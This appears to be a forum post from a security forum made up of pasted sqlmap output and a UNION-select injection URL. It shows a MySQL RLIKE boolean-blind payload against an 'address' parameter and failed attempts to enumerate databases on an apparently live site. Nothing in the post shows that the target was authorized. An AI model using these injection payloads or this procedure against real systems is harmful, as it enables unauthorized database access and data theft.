ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
[15:13:21] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved number of entries). Falling back to partial UNION technique
[15:13:22] [WARNING] unable to retrieve the entries of columns 'name' for table 'Test' in database 'm12540_pc'

HTML:
site.com/view.php?cid=1+union+select+1,2,3,4,5,6

Code:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: address (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: address=if' RLIKE (SELECT (CASE WHEN (1726=1726) THEN 0x6966 ELSE 0x28 END)) AND 'yDAP'='yDAP
---
[10:58:47] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[10:58:47] [INFO] testing MySQL
[10:58:47] [INFO] confirming MySQL
[10:58:47] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 7.1.11
back-end DBMS: MySQL >= 5.0.0
[10:58:47] [INFO] fetching database names
[10:58:47] [INFO] fetching number of databases
[10:58:47] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[10:58:47] [INFO] retrieved:
[10:58:48] [WARNING] unexpected HTTP code '404' detected. Will use (extra) validation step in similar cases

[10:58:48] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[10:58:48] [ERROR] unable to retrieve the number of databases
[10:58:48] [INFO] falling back to current database
[10:58:48] [INFO] fetching current database
[10:58:48] [INFO] retrieved:
[10:58:49] [CRITICAL] unable to retrieve the database names
[10:58:49] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 6 times